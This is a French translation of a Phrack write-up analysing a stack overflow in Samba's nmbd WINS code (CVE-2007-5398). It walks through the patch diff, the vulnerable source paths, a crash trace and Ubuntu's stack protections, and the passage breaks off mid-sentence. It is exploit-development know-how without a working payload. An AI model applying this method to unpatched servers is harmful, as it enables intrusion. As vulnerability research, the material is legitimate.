Version txt
==Phrack Inc.==
Volume 0x0c, Issue 0x41, Phile #0x0c of 0x0f
|=-----------------------------------------------------------------------=|
|=--------------=[ L'art de l'exploitation : ]=-----------------=|
|=--------=[ analyse de débordement de pile dans Samba WINS ]=-----------=|
|=--------------------------=[ CVE-2007-5398 ]=--------------------------=|
|=-----------------------------------------------------------------------=|
|=-----------------------------------------------------------------------=|
|=------------=[ By max_packetz@felinemenace.org ]=--------------=|
|=-----------------------------------------------------------------------=|
|=----------------=[ traduit par deny pour arsouyes.org ]=---------------=|
--[ 1 - Introduction
Le 15 Novembre 2007, l'équipe de Samba a diffusé un bulletin de sécurité
[1], détaillant un débordement de pile dans le démon nmbd, particulièrement
dans la fonction reply_netbios_packet() de nmbd/nmbd_packets.c.
Cette vulnérabilité requiert un ensemble d'opérations de configuration
particulière non standard dans smb.conf afin d'activer le chemin du code. Il
faut spécifiquement définir wins support = yes. Cette vulnérabilité
particulière ne sera pas présente dans une installation par défaut, pas plus
qu'elle n'est susceptible d'être trouvée au hasard. Indépendamment de cela,
il s'agit d'une faille relativement courante, avec rien qui ne la distingue.
Cet article donnera lieu à des commentaires et des analyses personnelles
lors de l'analyse et de l'exploitation de ce bogue, chaque petite correction
de l'article aura lieu ensuite .. ainsi, si j'invente quelque chose ou si je
découvre plus tard quelque chose d'exploitable que j'ai manqué auparavant,
vous pourrez tout lire à ce propos.
Tout d'abord, je m'intéresserai à la manière dont cela affecte Ubuntu 7.10
par défaut, cependant, plus tard ceci peut changer s'il s'avère que ce n'est
pas exploitable, en raison des nombreux mécanismes de protection.
--[ 2 - Analyse initiale
La différence entre samba-3.0.26 et samba-3.0.27 est affichée directement
ci-dessous :
---------------------------------------------
--- samba-3.0.26/source/nmbd/nmbd_packets.c
+++ samba-3.0.27/source/nmbd/nmbd_packets.c
@@ -963,6 +963,12 @@
nmb->answers->ttl = ttl;
if (data && len) {
+ if (len < 0 || len > sizeof(nmb->answers->rdata)) {
+ DEBUG(5,("reply_netbios_packet: "
+ "invalid packet len (%d)
",
+ len ));
+ return;
+ }
nmb->answers->rdlength = len;
memcpy(nmb->answers->rdata, data, len);
}
---------------------------------------------
Les contrôles supplémentaires ajoutés rendent le problème immédiatement
évident. En observant la déclaration de fonction de reply_netbios_packet(),
on note :
---------------------------------------------
void reply_netbios_packet(struct packet_struct *orig_packet,
int rcode, enum netbios_reply_type_code rcv_code, int opcode,
int ttl, char *data, int len)
{
struct packet_struct packet;
struct nmb_packet *nmb = NULL;
struct res_rec answers;
struct nmb_packet *orig_nmb = &orig_packet->packet.nmb;
BOOL loopback_this_packet = False;
int rr_type = RR_TYPE_NB;
const char *packet_type = "unknown";
/* Check if we are sending to or from ourselves. */
if( ismyip(orig_packet->ip) &&
(orig_packet->port == global_nmb_port)
)
loopback_this_packet = True;
nmb = &packet.packet.nmb;
..
---------------------------------------------
En vérifiant pour savoir combien d'espace est alloué à nmb->answers->rdata,
on voit :
---------------------------------------------
/* A resource record. */
struct res_rec {
struct nmb_name rr_name;
int rr_type;
int rr_class;
int ttl;
int rdlength;
char rdata[MAX_DGRAM_SIZE];
};
nameserv.h:#define MAX_DGRAM_SIZE (576) /* tcp/ip datagram limit
is 576 bytes */
---------------------------------------------
Pour déclencher cette vulnérabilité, on doit savoir comment placer le code
dans un état vulnérable (avec un champ len volumineux, supérieur à 576
octets.)
Grâce à grep -A 6 reply_netbios_ * | less dans source/nmbd, on voit quelque
chose de particulièrement intéressant, particulièrement à cause de la
directive mentionnant que wins support = yes doit être configuré.
---------------------------------------------
nmbd_winsserver.c: reply_netbios_packet(p, /* Packet to reply to. */
nmbd_winsserver.c- 0,/* Result code. */
nmbd_winsserver.c- WINS_QUERY, /* nmbd type code. */
nmbd_winsserver.c- NMB_NAME_QUERY_OPCODE, /* opcode. */
nmbd_winsserver.c- lp_min_wins_ttl(), /* ttl. */
nmbd_winsserver.c- prdata, /* data to send. */
nmbd_winsserver.c- num_ips*6); /* data length. */
----------------------------------------------
En examinant plus attentivement ce code, on voit qu'il est appelé dans la
fonction process_wins_dmb_query_request(). Il parcourt tous les hôtes
enregistrés de type 0x1b, les compte, alloue de la mémoire, parcourt de
nouveau la liste liée et enregistre les adresses IPs et les drapeaux
associés à ces enregistrements. Plus avant, le code ne fait aucune
vérification sur les données qu'il est sur le point de transmettre à la
fonction reply_netbios_packet().
Le code suivant dans la fonction process_wins_dmb_query_request() de
nmbd_winsserver.c présente un intérêt particulier :
----------------------------------------------
for(i = 0; i < namerec->data.num_ips; i++) {
set_nb_flags(&prdata[num_ips * 6],namerec->data.nb_flags);
putip((char *)&prdata[(num_ips * 6) + 2], &namerec->data.ip[i]);
num_ips++;
}
----------------------------------------------
Il construit les données destinées à être traitée avec memcpy() plus tard,
incrémentées de 6 octets. Cela pourrait poser un problème plus tard, puisque
la disposition de la pile pourrait devoir être contrôlée avec une extrême
précision, et les détails du nb_flags pourraient être validés.
Puisque le chemin de ce code semble plausible, nous allons commencer à
construire un code pour déclencher cette vulnérabilité.
En prélevant un paquet et le chargeant dans WireShark [2], on peut chercher
un hôte WINS étant enregistré et commencer à travailler sur un exploit.
Jusqu'ici pour déclencher cette vulnérabilité depuis la lecture du code, on
a besoin d'approximativement (576 / 6) enregistrements de type 0x1b, puis on
doit rechercher tous les enregistrements 0x1b.
-----------------------------------------------
NetBIOS Name Service
Transaction ID: 0x7b60
Flags: 0x2910 (Registration)
0... .... .... .... = Response: Message is a query
.010 1... .... .... = Opcode: Registration (5)
.... ..0. .... .... = Truncated: Message is not truncated
.... ...1 .... .... = Recursion desired: Do query recursively
.... .... ...1 .... = Broadcast: Broadcast packet
Questions: 1
Answer RRs: 0
Authority RRs: 0
Additional RRs: 1
Queries
VULN<20>: type NB, class IN
Name: VULN<20> (Server service)
Type: NB
Class: IN
Additional records
VULN<20>: type NB, class IN
Name: VULN<20> (Server service)
Type: NB
Class: IN
Time to live: 0 time
Data length: 6
Flags: 0x6000 (H-node, unique)
0... .... .... .... = Unique name
.11. .... .... .... = H-node
Addr: 10.1.1.3
------------------------------------------------
* L'ID de transaction a n'importe quelle valeur sur 16 bits.
* Flags a une valeur spécifique, sur 16 bits.
* Questions a une valeur sur 16 bits.
* Answer RRs a une valeur sur 16 bits.
* Authority RRs a une valeur sur 16 bits.
* Additional RRs a une valeur sur 16 bits.
La section Queries est une chaîne de 32 octets, qui encode le type
d'enregistrement, en plus de l'information du type ou de la classe. La
section Additional records s'appelle 0xc0 0x0c, ce qui semble indiquer le
nom précédemment desarchivé. Plus avant, l'information de type et de classe
est présente, avec la durée de vie, l'information au sujet du drapeau de
l'hôte et l'information d'adresse.
Il semblerait que lorsque l'enregistrement s'effectue, Samba extrait le
champ des drapeaux dans l'enregistrement supplémentaire ainsi que
l'information d'adresse IP, et l'insère dans la liste liée.
En sachant cela, on peut commencer nos tentatives d'exploitation de Samba en
utilisant cette vulnérabilité. Pour réduire la quantité de travail qui doit
être effectuée, nous utilisons impacket [3]
Après avoir écrit un exploit préliminaire, on peut vérifier que le chemin du
code que nous avons choisi est correct. Le code déclenchant la vulnérabilité
est inclus. Nous développerons l'exploit contre une installation par défaut
du serveur Ubuntu 7.10 .
Le crash ressemble à ça :
------------------------------------------------
Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread -1213143376 (LWP 31330)]
0x080cd22e in ?? ()
(gdb) x/10i
0x80cd22e: cmp (%ecx),%al
0x80cd230: jne 0x80cd242
0x80cd232: movzbl 0xffff0bde(%ebx),%eax
0x80cd239: cmp 0x1(%ecx),%al
0x80cd23c: je 0x80cd35d
0x80cd242: mov 0xffffffbc(%ebp),%edx
0x80cd245: lea 0xffffffe0(%ebp),%esi
0x80cd248: mov 0x50(%edx),%eax
0x80cd24b: movl $0x20,0x8(%esp)
0x80cd253: mov %edx,0x4(%esp)
(gdb) i r ecx
ecx 0x6b6a6968 1802135912
(gdb) bt
#0 0x080cd22e in ?? ()
#1 0xbfe959c8 in ?? ()
#2 0x08138721 in ?? ()
#3 0x00000000 in ?? ()
------------------------------------------------
La valeur dans ecx, 0x6b6a6968 est tirée du code déclenché ci-dessus, dans
la fonction CreatePackets(), dans la variable ip. Cela nous donne au moins
un point de départ pour exploiter le service.
--[ 3 - Les mécanisme de sécurité d' Ubuntu 7.10
Voici un rapide récapitulatif des mécanismes préventifs de sécurité que l'on
peut observer dans l'installation par défaut de Ubuntu 7.10
* dmesg affiche la protection NX : active
* /proc/pid/maps pour nmbd ressemble à :
-------------------------------------------------
08048000-08145000 r-xp 00000000 08:01 462765 /usr/sbin/nmbd
08145000-08150000 rw-p 000fc000 08:01 462765 /usr/sbin/nmbd
08150000-081ea000 rw-p 08150000 00:00 0 [heap]
...
b7fdd000-b7ff7000 r-xp 00000000 08:01 279708 /lib/ld-2.6.1.so
b7ff7000-b7ff9000 rw-p 00019000 08:01 279708 /lib/ld-2.6.1.so
bfbc9000-bfbdf000 rw-p bfbc9000 00:00 0 [stack]
ffffe000-fffff000 r-xp 00000000 00:00 0 [vdso]
--------------------------------------------------
Ainsi, tandis que la non-exécution peut être active sous une certaine forme,
il semble qu'il puisse y avoir quelques voies vers un retour vers le code ou
un saut vers le mappage de static vdso.
* Il est évident qu'il y a une implémentation du cookie de la pile
utilisé par le compilateur qui fabrique nmbd - du fait du résultat
en sortie des chaînes.
--------------------------------------------------
# strings /usr/sbin/nmbd | grep -i stack | head -n 1
__stack_chk_fail
---------------------------------------------------
* Apparmor de SuSE est installé, cependant un bref coup d'oeil
montre qu'il ne semble pas être utilisé ?
---------------------------------------------------
# apparmor_status
apparmor module is loaded.
0 profiles are loaded.
0 profiles are in enforce mode.
0 profiles are in complain mode.
0 processes have profiles defined.
0 processes are in enforce mode :
0 processes are in complain mode.
0 processes are unconfined but have a profile defined.
---------------------------------------------------
Je conjecturerais que toutes les régions de la mémoire sont exécutables ..
mais nous allons voir comment procéder.
Jusqu'ici, les seules choses qui peuvent nous gêner sont :
* l'exploit se fait à l'aveugle (à moins qu'une fuite dans
la mémoire soit trouvé - sur laquelle on pourra travailler
plus tard .. ou si nous sommes chanceux, l'adresse de
mémoire statique qu'on peut utiliser)
* La randomisation de la mémoire (un petit peu, nous avons un
.text statique et un vdso statique)
* L'examen du cookie de la pile peut influencer (négativement
ou positivement) les moyens dont nous disposons pour exploiter
le démon.
--[ 4 - Parcourir le code source
Pour exploiter la vulnérabilité, on doit faire certaines choses :
* examiner quel champ des drapeaux peut être utilisé, puisque nos
exploitations techniques doivent garder ceci à l'esprit, ou le
shellcode ou les adresses que nous utilisons pourront être affectés
en quelque sorte.
* Analyser exactement ce que nous débordons, et ce qui est affecté
par le débordement de la pile.
* Manoeuvrer pour prendre le contrôle du débordement de la mémoire.
Pour faciliter le développement de l'exploit, on peut installer le paquetage
samba-dbg livré avec Ubuntu 7.10 . Le paquetage samba-dbg a des symboles
applicables aux binaires et aux librairies de samba. Cela peut nous aider
grandement à exploiter la vulnérabilité, car il fournira des noms de
variable, des informations sur les fonctions et plus encore.
Puisque nous avons déclenché la vulnérabilité, c'est probablement une bonne
idée de commencer à lire dans les paquets et de trouver où la mémoire est
utilisée ou définie, et nous orienter vers memcpy(), puis de suivre ce qui
suit ici.
Le serveur nmbd a une boucle principale de traitement, appelée assez
étrangement process(), dans nmbd/nmbd.c.
Elle lit et aligne les paquets de réseau, puis traite ces derniers comme
ci-dessous :
------------------------------------------
/*
* Lire les paquets UDP entrants.
* (nmbd_packets.c)
*/
if(listen_for_packets(run_election))
return;
...
/*
* Traite tous les paquets entrants lus ci-dessus. Ceci
* appelle les fonctions success et failure enregistrées
* quand survient la réponse des paquets, et traite
* également la requête des paquets provenant d'autres
* sources. (nmbd_packets.c)
*/
run_packet_queue();
-------------------------------------------
Ce qui n'intervient pas dans l'exécution du fichier nmbd/nmbd_packets.c,
dans run_packet_queue()
run_packet_queue() traite une liste de paquets (comme son nom le suggère),
identifiant s'il s'agit d'un paquet NMB, ou un paquet dgram. S'il s'agit
d'un paquetNMB, il vérifie s'il s'agit ou non d'une requête, ou d'une réponse.
Pendant que nous traitons un type de requête, il remet l'exécution de
process_nmb_request() (qui est dans le même fichier que précédemment,
nmbd/nmbd_packets.c).
process_nmb_request() examine le code opération et remet l'exécution de
wins_process_name_query_request() dans nmbd/nmbd_winsserver.c
Un extrait partiel de wins_process_name_query_request() est affiché
ci-dessous :
--------------------------------------------
1879 /*********************************************************************
1880 Traitement d'un nom de requête.
1881 *********************************************************************/
1882
1883 void wins_process_name_query_request(struct subnet_record *subrec,
1884 struct packet_struct *p)
1885 {
1886 struct nmb_packet *nmb = &p->packet.nmb;
1887 struct nmb_name *question = &nmb->question.question_name;
1888 struct name_record *namerec = NULL;
1889 unstring qname;
1890
1891 DEBUG(3,(
"wins_process_name_query: name query for name %s from IP %s
",
1892 nmb_namestr(question), inet_ntoa(p->ip) ));
1893
1894 /*
1895 * Nom de code spécial. Si le nom requis est *<1b> alors
chercher dans la base de données entière et
1996 * renvoyer une liste de toutes les adresses IPs
1897 * enregistré sous n'importe quel nom <1b>. Cela doit
permettre aux navigateurs du maître du domaine
1898 * de découvrir d'autres domaines qui peuvent ne pas être
présent dans leur sous-réseau.
1899 */
1900
1901 pull_ascii_nstring(qname, sizeof(qname), question->name);
1902 if(strequal( qname, "*") && (question->name_type == 0x1b)) {
1903 process_wins_dmb_query_request( subrec, p);
1904 return;
1905 }
1906
--------------------------------------------
Puisque notre paquet déclencheur correspond à ce qui est demandé à la ligne
1902, nous sautons alors de nouveau vers process_wins_dmb_query_request
dans nmbd_winsserver.c. Des commentaires sont inclus.
--------------------------------------------
1749 /********************************************************************
1750 Traitement de du nom spécial de la requête pour *<1b>
1751 ********************************************************************/
1752
1753 static void process_wins_dmb_query_request(
struct subnet_record *subrec,
1754 struct packet_struct *p)
1755 {
1756 struct name_record *namerec = NULL;
1757 char *prdata;
1758 int num_ips;
1759
1760 /*
1761 * Parcourt tous les noms ACTIVE names dans la base de donnée
WINS cherchant ceux qui finissent par
1762 * <1b>. Emploie ceci pour calculer le nombre d'adresses
IP à renvoyer
1763 *
1764 */
1765
1766 num_ips = 0;
1767
1768 /* Tout d'abord, efface la liste en mémoire - nous allons la
repeupler avec
1769 tdb_traversal dans fetch_all_active_wins_1b_names. */
1770
1771 wins_delete_all_tmp_in_memory_records();
1772
1773 fetch_all_active_wins_1b_names();
1774
1775 for( namerec = subrec->namelist; namerec; namerec =
namerec->next ) {
1776 if( WINS_STATE_ACTIVE(namerec) &&
namerec->name.name_type == 0x1b) {
1777 num_ips += namerec->data.num_ips;
Compte combien d'adresses IP sont actives, pour l'enregistrement
1778 }
1779 }
1780
1781 if(num_ips == 0) {
1782 /*
1783 * IL n'y a pas de noms 0x1b enregistrés.
Le retour de la requête de nom échoue.
1784 */
1785 send_wins_name_query_response(NAM_ERR, p, NULL);
1786 return;
1787 }
1788
1789 if((prdata = (char *)SMB_MALLOC( num_ips * 6 )) == NULL) {
Alloue la mémoire temporaire demandée. La libère à la fin de la fonction.
1790 DEBUG(0,("process_wins_dmb_query_request: Malloc fail !.
"));
1791 return;
1792 }
1793
1794 /*
1795 * Parcourt de nouveau tous les noms dans la base de données
WINS à la recherche de ceux finissant par
1796 * <1b>. Ajoute leurs adresses IP dans la liste que nous
1797 * retournerons.
1798 */
1799
1800 num_ips = 0;
1801 for( namerec = subrec->namelist; namerec; namerec =
namerec->next ) {
1802 if( WINS_STATE_ACTIVE(namerec) &&
namerec->name.name_type == 0x1b) {
Examine la liste chainée des enregistrements de nom, à la recherche
d'enregistrements appropriés qui répondent aux exigences ci-dessus.
803 int i;
1804 for(i = 0; i < namerec->data.num_ips; i++) {
1805 set_nb_flags(&prdata[num_ips * 6],
namerec->data.nb_flags);
1806 putip((char *)&
prdata[(num_ips * 6) + 2], &namerec->data.ip[i]);
1807 num_ips++;
1808 }
Copie les données dans la mémoire allouée. La mémoire est composée du type :
[2 byte flags field][4 byte ip address]
809 }
1810 }
1811
1812 /*
1813 * Renvoie la réponse contenant la liste d'IP.
1814 */
1815
1816 reply_netbios_packet(p, /* Packet to reply to. */
1817 0, /* Result code. */
1818 WINS_QUERY, /* nmbd type code. */
1819 NMB_NAME_QUERY_OPCODE, /* opcode. */
1820 lp_min_wins_ttl(), /* ttl. */
1821 prdata, /* data to send. */
1822 num_ips*6); /* data length. */
1823
Appelle reply_netbios_packet. Si num_ips*6 > 576 est atteint, cela
déclenchera la vulnérabilité.
824 SAFE_FREE(prdata);
1825 }
1826
--------------------------------------------
Et en regardant reply_netbios_packet(), on voit :
--------------------------------------------
856 /*******************************************************************
857 Réponse à un nom netbios de paquet. voir rfc1002.txt
858 ********************************************************************/
859
860 void reply_netbios_packet(struct packet_struct *orig_packet,
861 int rcode, enum netbios_reply_type_code
rcv_code,
int opcode,
862 int ttl, char *data,int len)
863 {
864 struct packet_struct packet;
Paquet struct localement défini sur la pile
865 struct nmb_packet *nmb = NULL;
866 struct res_rec answers;
867 struct nmb_packet *orig_nmb = &orig_packet->packet.nmb;
868 BOOL loopback_this_packet = False;
869 int rr_type = RR_TYPE_NB;
870 const char *packet_type = "unknown";
871
872 /* Vérifie si nous envoyons vers ou à nous-mêmes. */
873 if(ismyip(orig_packet->ip) && (orig_packet->port ==
global_nmb_port))
874 loopback_this_packet = True;
875
876 nmb = &packet.packet.nmb;
Pointe nmb à l'intérieur du paquet ci-dessus localement déclaré.
877
878 /* Effectue une copie partielle du paquet. Nous nettoyons le
drapeau verrouillé et
879 les indicateurs d'enregistrement de ressource. */
880 packet = *orig_packet; /* Full structure copy. */
881 packet.locked = False;
Construit la réponse du paquet nmb
882 nmb->answers = NULL;
883 nmb->nsrecs = NULL;
884 nmb->additional = NULL;
885
886 switch (rcv_code) {
887 case NMB_STATUS:
888 packet_type = "nmb_status";
889 nmb->header.nm_flags.recursion_desired = False;
890 nmb->header.nm_flags.recursion_available = False;
891 rr_type = RR_TYPE_NBSTAT;
892 break;
893 case NMB_QUERY:
894 packet_type = "nmb_query";
895 nmb->header.nm_flags.recursion_desired = True;
896 nmb->header.nm_flags.recursion_available = True;
897 if (rcode) {
898 rr_type = RR_TYPE_NULL;
899 }
900 break;
901 case NMB_REG:
902 case NMB_REG_REFRESH:
903 packet_type = "nmb_reg";
904 nmb->header.nm_flags.recursion_desired = True;
905 nmb->header.nm_flags.recursion_available = True;
906 break;
907 case NMB_REL:
908 packet_type = "nmb_rel";
909 nmb->header.nm_flags.recursion_desired = False;
910 nmb->header.nm_flags.recursion_available = False;
911 break;
912 case NMB_WAIT_ACK:
913 packet_type = "nmb_wack";
914 nmb->header.nm_flags.recursion_desired = False;
915 nmb->header.nm_flags.recursion_available = False;
916 rr_type = RR_TYPE_NULL;
917 break;
918 case WINS_REG:
919 packet_type = "wins_reg";
920 nmb->header.nm_flags.recursion_desired = True;
921 nmb->header.nm_flags.recursion_available = True;
922 break;
923 case WINS_QUERY:
924 packet_type = "wins_query";
925 nmb->header.nm_flags.recursion_desired = True;
926 nmb->header.nm_flags.recursion_available = True;
927 if (rcode) {
928 rr_type = RR_TYPE_NULL;
929 }
930 break;
931 default:
932 DEBUG(0,(
"reply_netbios_packet: Unknown packet type: %s %s to ip %s
",
933 packet_type, nmb_namestr(&orig_nmb->question.question_name),
934 inet_ntoa(packet.ip)));
935 return;
936 }
937
938 DEBUG(4,(
"reply_netbios_packet: envoi d'une réponse de type: %s %s to ip %s \
939 for id %hu
", packet_type, nmb_namestr
(&orig_nmb->question.question_name),
940 inet_ntoa(packet.ip), orig_nmb->header.name_trn_id));
941
942 nmb->header.name_trn_id = orig_nmb->header.name_trn_id;
943 nmb->header.opcode = opcode;
944 nmb->header.response = True;
945 nmb->header.nm_flags.bcast = False;
946 nmb->header.nm_flags.trunc = False;
947 nmb->header.nm_flags.authoritative = True;
948
949 nmb->header.rcode = rcode;
950 nmb->header.qdcount = 0;
951 nmb->header.ancount = 1;
952 nmb->header.nscount = 0;
953 nmb->header.arcount = 0;
954
Une fois construit le paquet d'en-tête nmb, commençons le spectacle.
955 memset((char*)&nmb->question,'?',sizeof(nmb->question));
956
957 nmb->answers = &answers;
958 memset((char*)nmb->answers,'?',sizeof(*nmb->answers));
Réglage nmb->answers, placer la mémoire à zéro
959
960 nmb->answers->rr_name = orig_nmb->question.question_name;
961 nmb->answers->rr_type = rr_type;
962 nmb->answers->rr_class = RR_CLASS_IN;
963 nmb->answers->ttl = ttl;
964
965 if (data && len) {
966 nmb->answers->rdlength = len;
967 memcpy(nmb->answers->rdata, data, len);
Déclenche le débordement, qui écrit dans la fonction allouée une copie de
answers->rdata, qui est définie ou mentionnée ci-dessus par :
/* Un enregistrement de ressource. */
struct res_rec {
struct nmb_name rr_name;
int rr_type;
int rr_class;
int ttl;
int rdlength;
char rdata[MAX_DGRAM_SIZE];
};
nameserv.h:#define MAX_DGRAM_SIZE (576)
/* tcp/ip datagram limit is 576 bytes */
968 }
969
970 packet.packet_type = NMB_PACKET;
971 /* Ensure we send out on the same fd that the original
972 packet came in on to give the correct source IP
address. */
973 packet.fd = orig_packet->fd;
974 packet.timestamp = time(NULL);
975
976 debug_nmb_packet(&packet);
977
978 if(loopback_this_packet) {
979 struct packet_struct *lo_packet;
980 DEBUG(5,(
"reply_netbios_packet: sending packet to ourselves.
"));
981 if((lo_packet = copy_packet(&packet)) == NULL)
982 return;
983 queue_packet(lo_packet);
984 } else if (!send_packet(&packet)) {
985 DEBUG(0,(
"reply_netbios_packet: send_packet to IP %s port %d failed
",
986 inet_ntoa(packet.ip),packet.port));
987 }
988 }
989
--------------------------------------------
Malheureusement, tandis que nous avons vu une mention du cookie de la pile
et de vérifications, il s'avère que nous ne pouvons juste écrire par dessus
l'eip enregistré et tester si le code s'exécute - , en effet, en exécutant
l'exploit avec trop peu d'enregistrements, on a ce message :
*** stack smashing detected ***: /usr/sbin/nmbd terminated
--------------------------------------------
Cela signifie qu'il est possible que nous devrons voir ce que nous pouvons
tirer de l'exécution de send_packet(). send_packet() est situé dans
libsmb/nmblib.c
En regardant send_packet(), on trouve ce qui suit :
982 /*******************************************************************
983 Envoi d'un packet_struct.
984 ******************************************************************/
985
986 BOOL send_packet(struct packet_struct *p)
987 {
988 char buf[1024];
989 int len=0;
990
991 memset(buf,'?',sizeof(buf));
992
993 len = build_packet(buf, p);
994
995 if (!len)
996 return(False);
997
998 return(send_udp(p->fd,buf,len,p->ip,p->port));
999 }
1000
--------------------------------------------
Le char buf[1024]; semble intéressant, et peut-être utile.
Suivi par l'évident :
--------------------------------------------
961 /*******************************************************************
962 Linéarise un paquet.
963 ******************************************************************/
964
965 int build_packet(char *buf, struct packet_struct *p)
966 {
967 int len = 0;
968
969 switch (p->packet_type) {
970 case NMB_PACKET:
971 len = build_nmb(buf,p);
972 break;
973
974 case DGRAM_PACKET:
975 len = build_dgram(buf,p);
976 break;
977 }
978
979 return len;
980 }
--------------------------------------------
Suivi par l'appel une fois encore, à build_nmb():
--------------------------------------------
881 /*******************************************************************
882 Construit un paquet nmb prêt à envoyer.
883
884 XXXX this currently relies on not being passed something that expands
885 to a packet too big for the buffer. Eventually this should be
886 changed to set the trunc bit so the receiver can request the rest
887 via tcp (when that becomes supported)
888 ******************************************************************/
889
890 static int build_nmb(char *buf,struct packet_struct *p)
891 {
892 struct nmb_packet *nmb = &p->packet.nmb;
893 unsigned char *ubuf = (unsigned char *)buf;
894 int offset=0;
895
896 /* put in the header */
897 RSSVAL(ubuf,offset,nmb->header.name_trn_id);
898 ubuf[offset+2] = (nmb->header.opcode & 0xF) << 3;
899 if (nmb->header.response)
900 ubuf[offset+2] |= (1<<7);
901 if (nmb->header.nm_flags.authoritative &&
902 nmb->header.response)
903 ubuf[offset+2] |= 0x4;
904 if (nmb->header.nm_flags.trunc)
905 ubuf[offset+2] |= 0x2;
906 if (nmb->header.nm_flags.recursion_desired)
907 ubuf[offset+2] |= 0x1;
908 if (nmb->header.nm_flags.recursion_available &&
909 nmb->header.response)
910 ubuf[offset+3] |= 0x80;
911 if (nmb->header.nm_flags.bcast)
912 ubuf[offset+3] |= 0x10;
913 ubuf[offset+3] |= (nmb->header.rcode & 0xF);
914
915 RSSVAL(ubuf,offset+4,nmb->header.qdcount);
916 RSSVAL(ubuf,offset+6,nmb->header.ancount);
917 RSSVAL(ubuf,offset+8,nmb->header.nscount);
918 RSSVAL(ubuf,offset+10,nmb->header.arcount);
919
920 offset += 12;
921 if (nmb->header.qdcount) {
922 /* XXXX this doesn't handle a qdcount of > 1 */
923 offset += put_nmb_name((char *)ubuf,offset,
&nmb->question.question_name);
924 RSSVAL(ubuf,offset,nmb->question.question_type);
925 RSSVAL(ubuf,offset+2,nmb->question.question_class);
926 offset += 4;
927 }
928
929 if (nmb->header.ancount)
930 offset +=
put_res_rec((char *)ubuf,offset,nmb->answers,
931 nmb->header.ancount);
932
933 if (nmb->header.nscount)
934 offset += put_res_rec((char *)ubuf,offset,nmb->nsrecs,
935 nmb->header.nscount);
936
937 /*
938 * The spec says we must put compressed name pointers
939 * in the following outgoing packets :
940 * NAME_REGISTRATION_REQUEST, NAME_REFRESH_REQUEST,
941 * NAME_RELEASE_REQUEST.
942 */
943
944 if((nmb->header.response == False) &&
945 ((nmb->header.opcode == NMB_NAME_REG_OPCODE) ||
946 (nmb->header.opcode == NMB_NAME_RELEASE_OPCODE) ||
947 (nmb->header.opcode == NMB_NAME_REFRESH_OPCODE_8) ||
948 (nmb->header.opcode == NMB_NAME_REFRESH_OPCODE_9) ||
949 (nmb->header.opcode == NMB_NAME_MULTIHOMED_REG_OPCODE)) &&
950 (nmb->header.arcount == 1)) {
951
952 offset += put_compressed_name_ptr(ubuf,offset,nmb->additional,12);
953
954 } else if (nmb->header.arcount) {
955 offset += put_res_rec((char *)ubuf,offset,nmb->additional,
956 nmb->header.arcount);
957 }
958 return(offset);
959 }
--------------------------------------------
Suivant l'appel à put_res_rec(), on voit :
--------------------------------------------
388
389 /*******************************************************************
390 Place un enregistrement de ressource dans un paquet.
391 ******************************************************************/
392
393 static int put_res_rec(char *buf,int offset,struct res_rec *recs,
int count)
394 {
395 int ret=0;
396 int i;
397
398 for (i=0;i<count;i++) {
399 int l = put_nmb_name(buf,offset,&recs[i].rr_name);
400 offset += l;
401 ret += l;
402 RSSVAL(buf,offset,recs[i].rr_type);
403 RSSVAL(buf,offset+2,recs[i].rr_class);
404 RSIVAL(buf,offset+4,recs[i].ttl);
405 RSSVAL(buf,offset+8,recs[i].rdlength);
406 memcpy(buf+offset+10,recs[i].rdata,recs[i].rdlength);
407 offset += 10+recs[i].rdlength;
408 ret += 10+recs[i].rdlength;
409 }
410
411 return(ret);
412 }
413
--------------------------------------------
Et suivi de put_nmb_name() :
279 /*******************************************************************
280 Place un nom compressé nmb dans un buffer.
281 Retourne la longueur du nom compressé
282
283 Les noms compressés sont réellement lourds. La "compression" double la
284 taille. Le but est que cela signifie également que les noms compressés
285 se conforment au système de nom de domaine. Voir RFC1002.
286 ******************************************************************/
287
288 static int put_nmb_name(char *buf,int offset,struct nmb_name *name)
289 {
290 int ret,m;
291 nstring buf1;
292 char *p;
293
294 if (strcmp(name->name,"*") == 0) {
295 /* special case for wildcard name */
296 put_name(buf1, "*", '?', name->name_type);
297 } else {
298 put_name(buf1, name->name, ' ', name->name_type);
299 }
300
301 buf[offset] = 0x20;
302
303 ret = 34;
304
305 for (m=0;m<MAX_NETBIOSNAME_LEN;m++) {
306 buf[offset+1+2*m] = 'A' + ((buf1[m]>>4)&0xF);
307 buf[offset+2+2*m] = 'A' + (buf1[m]&0xF);
308 }
309 offset += 33;
310
311 buf[offset] = 0;
312
313 if (name->scope[0]) {
314 /* XXXX this scope handling needs testing */
315 ret += strlen(name->scope) + 1;
316 safe_strcpy(&buf[offset+1],name->scope,sizeof(name->scope)) ;
317
318 p = &buf[offset+1];
319 while ((p = strchr_m(p,'.'))) {
320 buf[offset] = PTR_DIFF(p,&buf[offset+1]);
321 offset += (buf[offset] + 1);
322 p = &buf[offset+1];
323 }
324 buf[offset] = strlen(&buf[offset+1]);
325 }
326
327 return(ret);
328 }
329
--------------------------------------------
Et put_name():
--------------------------------------------
262 /************************************************************* **
263 Place un nom netbios, padding(s) et un type de nom dans un tampon
264 de 16 caractères 264 Le nom est déjà dans un jeu de caractère DOS.
265 [15 bytes name + padding][1 byte name type].
266 ************************************************************** */
267
268 void put_name(char *dest, const char *name, int pad,
unsigned int name_type )
269 {
270 size_t len = strlen(name);
271
272 memcpy(dest, name, (len < MAX_NETBIOSNAME_LEN) ?
len : MAX_NETBIOSN AME_LEN - 1);
273 if (len < MAX_NETBIOSNAME_LEN - 1) {
274 memset(dest + len, pad, MAX_NETBIOSNAME_LEN - 1 - len);
275 }
276 dest[MAX_NETBIOSNAME_LEN - 1] = name_type;
277 }
278
--------------------------------------------
Ainsi, il apparaît qu'à l'aide d'une requête assez longue, on peut déborder
le second char buf[1024]; dans send_packet(), mais à cause de la pile des
cookies, on ne peut continuer plus avant.
En effet, après quelques expériences, il semble que cela ne soit pas
exploitable depuis Ubuntu en standard, à cause de propolice/SSP, et le
dernier flux de code ne semble pas nous fournir un mécanisme où on peut
écrire dans une autre mémoire que l'on peut contrôler, malheureusement. Ceci
dit, je peux avoir oublié quelque chose d'évident ou je peux n'avoir pas
compris quelque chose correctement. Si quelqu'un a une solution,
j'apprécierai qu'il la donne.
Puisque la majorité des autres plates-formes populaires de <systemitem
class="osname">Linux</systemitem> supporte SSP, j'ai décidé de jeter un coup
d'oeil à la distribution courante de FreeBSD et voir si elle était
vulnérable ou exploitable, et avec un rapide objdump dans le binaire nmbd,
il apparaît que c'est le cas. Il était plutôt décevant d'apprendre qu'après
